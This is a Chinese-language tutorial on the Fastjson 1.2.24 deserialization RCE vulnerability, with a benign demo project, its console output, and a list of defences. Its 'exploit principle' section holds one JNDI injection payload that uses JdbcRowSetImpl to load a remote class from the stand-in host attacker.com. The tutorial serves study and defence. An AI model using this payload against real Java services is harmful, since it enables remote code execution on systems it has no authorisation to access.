Fastjson 1.2.24 反序列化漏洞分析及测试环境构建
漏洞背景
Fastjson 是阿里巴巴开源的一个高性能 Java JSON 库,广泛用于 Java 对象的序列化和反序列化。在 1.2.24 及之前的版本中,存在一个严重的安全漏洞,攻击者可以通过构造恶意的 JSON 字符串实现远程代码执行(RCE)。
漏洞原理
Fastjson 在反序列化时,支持通过 @type
属性指定目标类。当解析 JSON 时,Fastjson 会自动调用目标类的 setter 方法及特定条件的 getter 方法。攻击者可以利用这一特性,通过精心构造的 JSON 字符串调用某些危险类的危险方法,最终实现任意代码执行。
测试环境搭建
-
项目结构
fastjson-vuln-demo/
├── pom.xml
└── src/
├── main/
│ ├── java/
│ │ └── org/
│ │ └── rocky/
│ │ ├── App.java
│ │ └── model/
│ │ └── User.java
│ └── resources/
└── test/
└── java/ -
关键代码
User.java
java
package org.rocky.model;
public class User {
private String name;
private int age;
private String email;
public User() {
System.out.println("User无参构造器被调用");
}
public User(String name, int age, String email) {
this.name = name;
this.age = age;
this.email = email;
System.out.println("User全参构造器被调用");
}
// Getter和Setter方法
public String getName() {
System.out.println("getName()被调用");
return name;
}
public void setName(String name) {
System.out.println("setName()被调用,参数: " + name);
this.name = name;
}
public int getAge() {
System.out.println("getAge()被调用");
return age;
}
public void setAge(int age) {
System.out.println("setAge()被调用,参数: " + age);
this.age = age;
}
public String getEmail() {
System.out.println("getEmail()被调用");
return email;
}
public void setEmail(String email) {
System.out.println("setEmail()被调用,参数: " + email);
this.email = email;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
", email='" + email + '\'' +
'}';
}
}
App.java
java
package org.rocky;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import org.rocky.model.User;
public class App {
public static void main(String[] args) {
// 正常序列化与反序列化
normalSerializationDemo();
// 使用@type的反序列化
deserializationWithTypeDemo();
}
private static void normalSerializationDemo() {
System.out.println("\n=== 正常序列化与反序列化 ===");
// 创建用户对象
User user = new User("张三", 25, "zhangsan@example.com");
// 序列化为JSON字符串
String jsonString = JSON.toJSONString(user);
System.out.println("序列化结果: " + jsonString);
// 反序列化为User对象
User parsedUser = JSON.parseObject(jsonString, User.class);
System.out.println("反序列化结果: " + parsedUser);
}
private static void deserializationWithTypeDemo() {
System.out.println("\n=== 使用@type的反序列化 ===");
// 使用@type指定目标类
String jsonWithType = "{\"@type\":\"org.rocky.model.User\",\"name\":\"李四\",\"age\":30,\"email\":\"lisi@example.com\"}";
System.out.println("反序列化JSON: " + jsonWithType);
Object obj = JSON.parseObject(jsonWithType);
System.out.println("反序列化结果: " + obj);
}
}
- pom.xml 依赖配置
xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.rocky</groupId>
<artifactId>fastjson</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>jar</packaging>
<name>fastjson</name>
<url>http://maven.apache.org</url>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>
<dependencies>
<!-- Fastjson 1.2.24 -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<!-- 升级后的 JUnit -->
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
</plugin>
</plugins>
<resources>
<resource>
<directory>src/main/resources</directory>
<includes>
<include>**/*.properties</include>
<include>**/*.xml</include>
<include>**/*.json</include>
</includes>
<excludes>
<exclude>**/.keep</exclude>
</excludes>
<filtering>false</filtering>
</resource>
</resources>
</build>
</project>
漏洞验证
- 正常反序列化流程
运行 normalSerializationDemo()
方法,观察输出:
=== 正常序列化与反序列化 ===
User全参构造器被调用
序列化结果: {"age":25,"email":"zhangsan@example.com","name":"张三"}
User无参构造器被调用
setAge()被调用,参数: 25
setEmail()被调用,参数: zhangsan@example.com
setName()被调用,参数: 张三
反序列化结果: User{name='张三', age=25, email='zhangsan@example.com'}
- 使用@type的反序列化
运行 deserializationWithTypeDemo()
方法,观察输出:
=== 使用@type的反序列化 ===
反序列化JSON: {"@type":"org.rocky.model.User","name":"李四","age":30,"email":"lisi@example.com"}
User无参构造器被调用
setName()被调用,参数: 李四
setAge()被调用,参数: 30
setEmail()被调用,参数: lisi@example.com
反序列化结果: {"age":30,"email":"lisi@example.com","name":"李四"}

漏洞利用原理
攻击者可以构造特殊的 JSON 字符串,利用 Fastjson 的自动类型转换和 Java 反射机制,调用危险类的方法。例如:
java
String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com/Exploit\",\"autoCommit\":true}";
JSON.parse(maliciousJson);
这段代码会尝试通过 JNDI 注入加载远程恶意类,导致 RCE。
防御措施
- 升级 Fastjson:升级到最新安全版本(1.2.83 或更高)
- 关闭 autotype:设置
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
- 使用安全模式:
JSON.parse(text, Feature.SafeMode)
- 白名单控制:配置
ParserConfig.getGlobalInstance().addAccept("org.rocky.model.")
总结
Fastjson 1.2.24 的反序列化漏洞源于其过于灵活的自动类型转换机制。通过分析测试环境中的代码执行流程,我们可以清楚地看到 Fastjson 如何通过反射调用目标类的方法。在实际开发中,务必使用最新版本的 Fastjson 并采取适当的安全配置。
建议进一步研究:
- 完整的漏洞利用链构造
- JNDI 注入原理
- Fastjson 的安全配置最佳实践